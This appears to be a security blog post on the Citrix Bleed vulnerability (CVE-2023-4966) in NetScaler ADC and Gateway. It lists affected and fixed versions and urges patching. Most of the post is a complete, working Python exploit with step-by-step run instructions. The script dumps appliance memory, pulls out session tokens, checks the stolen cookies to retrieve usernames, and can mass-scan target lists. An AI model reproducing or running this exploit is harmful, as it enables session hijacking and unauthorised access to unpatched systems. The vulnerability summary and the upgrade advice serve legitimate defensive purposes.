The Impact of CVE-2023-4966 on Citrix NetScaler Products

In the rapidly evolving world of technology, securing digital assets is more important than ever.

One such asset that’s integral to many businesses is the NetScaler ADC and Gateway from Citrix.

However, no system is impervious to vulnerabilities, and recently, two significant flaws have been identified in these products.

In this post, we’ll delve into understanding these vulnerabilities and their potential impact on your business operations.

Understanding the Citrix Bleed Vulnerability (CVE-2023-4966)

Citrix Bleed, identified as CVE-2023-4966, is a high-risk security flaw that could lead to the exposure of sensitive data.

This vulnerability directly impacts Citrix Netscaler ADC and Netscaler Gateway products, garnering a critical CVSS score of 9.4.

Citrix acted swiftly to address this issue and released a patch on October 10, 2023.

The flaw has the potential to be exploited by unauthorized individuals who can pilfer session tokens through a uniquely designed request, thereby breaching the vulnerable systems.

According to Citrix, the following products have been affected by this vulnerability:

  • NetScaler ADC and NetScaler Gateway versions 14.1 prior to the 14.1-8.50 update
  • NetScaler ADC and NetScaler Gateway versions 13.1 preceding the 13.1-49.15 update
  • NetScaler ADC and NetScaler Gateway versions 13.0 prior to the 13.0-92.19 update
  • NetScaler ADC 13.1-FIPS before the 13.1-37.164 update
  • NetScaler ADC 12.1-FIPS preceding the 12.1-55.300 update
  • NetScaler ADC 12.1-NDcPP prior to the 12.1-55.300 update.

Overview

NetScaler ADC and NetScaler Gateway have been found to harbor unauthenticated buffer-related vulnerabilities. These vulnerabilities are summarized as follows:

  • CVE-2023-4966: This vulnerability leads to the disclosure of sensitive information. It requires the appliance to be set up as either a Gateway (comprising VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server. It has been categorized under CWE-119 with a CVSS score of 9.4.
  • CVE-2023-4967: This vulnerability can result in a denial of service. Similar to the previous one, this flaw also necessitates the appliance to be configured as a Gateway or an AAA virtual server. It is classified under CWE-119 and has a CVSS score of 8.2.

How to Exploit the CVE-2023-4966 Citrix Memory Leak

This tutorial will guide you through exploiting the CVE-2023-4966 vulnerability, a significant security flaw found in Citrix ADC instances.

This Python script allows attackers to leak session tokens without authentication:

import re
import sys
import hexdump
import argparse
import requests

from rich.console import Console
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }

        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            content_bytes = r.content

            if r.status_code == 200 and content_bytes:
                
                if b"\x00"*16 in content_bytes:
                    cleaned_content = self.clean_bytes(content_bytes)
                    for _ in range(10):
                        cleaned_content = cleaned_content.replace(b'a'*65, b'').replace(b'a'*32, b'')
                        content_bytes = content_bytes.replace(b'a'*65, b'').replace(b'a'*32, b'')
                    
                    if self.args.verbose and self.args.url:
                        self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                        hex_output = hexdump.hexdump(content_bytes, result='return').strip()
                        self.results.extend([("", line) for line in hex_output.splitlines()])
                        self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))

                    session_tokens = self.find_session_tokens(content_bytes)
                    valid_token_found = False
                    for token in session_tokens:
                        if self.test_session_cookie(full_url, token):
                            valid_token_found = True

                    if not valid_token_found:
                        if not self.args.only_valid:
                            if self.args.url:
                                self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                            else:
                                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))
                elif self.args.verbose and self.args.url:
                    self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))

    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
   
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        TOKEN_65_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
        TOKEN_32_PATTERN = re.compile(rb'(?=([a-f0-9]{32}))')

        sessions_65 = [match.group(1).decode('utf-8') for match in TOKEN_65_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42') and not match.group(1).startswith(b'a'*65)]
        sessions_32 = [match.group(1).decode('utf-8') for match in TOKEN_32_PATTERN.finditer(content_bytes) if not match.group(1).startswith(b'a'*32)]

        combined_sessions = list(dict.fromkeys(sessions_65 + sessions_32))
        return combined_sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )

            if r.text.count('\n') > 0:
                return False
            
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=300) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()

The vulnerability has been assigned a CVSS score of 9.4, indicating its severity. No user interaction is required for remote exploitation.

Citrix NetScaler devices set up as Gateways or AAA virtual servers are particularly susceptible to this attack.

Prerequisites

Python 3.10 installed on your system.

OpenSSL installed and configured on your system.

Exploit Usage Instructions

Below are the options available within the script:

-h or --help: This option displays the help message and exits the program.

-u URL or --url URL: This option allows you to specify the target Citrix ADC / Gateway (e.g., https://192.168.1.200).

-f FILE or --file FILE: This option allows you to input a file containing a list of target URLs (one URL per line).

-o OUTPUT or --output OUTPUT: This option lets you specify the file to save the output results.

-v or --verbose: This option enables verbose mode.

--only-valid: This option filters the results to only display valid session tokens.

Steps to Execute the Exploit

1. Cloning the Repository

First, clone the repository using the following commands:

git clone https://github.com/Chocapikk/CVE-2023-4966.git
cd CVE-2023-4966

2. Running the Exploit

For a single target, execute the following command:

OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -u https://target.example.com

To exploit multiple targets listed in a file, use:

OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -f targets.txt --only-valid

3. Saving the Output

If you want to save the results in an output file, use the -o flag as follows:

OPENSSL_CONF=./openssl.cnf python3.10 exploit.py -u https://target.example.com -o results.txt --only-valid

4. Enabling Verbose Mode

For verbose mode, include the -v flag in your command.

Please remember that exploiting vulnerabilities without permission is illegal. Always get explicit consent before testing any system.

There have been observed exploits of CVE-2023-4966 on appliances that haven’t been mitigated.

We strongly advise customers using NetScaler ADC and NetScaler Gateway to update their systems to the respective updated versions promptly:

  • NetScaler ADC and NetScaler Gateway 14.1-8.50 or later
  • NetScaler ADC and NetScaler Gateway 13.1-49.15 or subsequent releases of 13.1
  • NetScaler ADC and NetScaler Gateway 13.0-92.19 or later releases of 13.0
  • NetScaler ADC 13.1-FIPS 13.1-37.164 or subsequent releases of 13.1-FIPS
  • NetScaler ADC 12.1-FIPS 12.1-55.300 or later releases of 12.1-FIPS
  • NetScaler ADC 12.1-NDcPP 12.1-55.300 or subsequent releases of 12.1-NDcPP

Please note that the version 12.1 of NetScaler ADC and NetScaler Gateway is now End-of-Life (EOL).

Customers are urged to upgrade their appliances to a supported version that addresses these vulnerabilities.

Conclusion

The disclosed vulnerabilities in NetScaler ADC and Gateway underline the importance of maintaining up-to-date systems.

As technology advances, so do the techniques used by malicious actors.

By understanding these vulnerabilities and acting swiftly to mitigate them, businesses can better secure their digital assets.

In cybersecurity, proactive measures are always more cost-effective than reactive ones.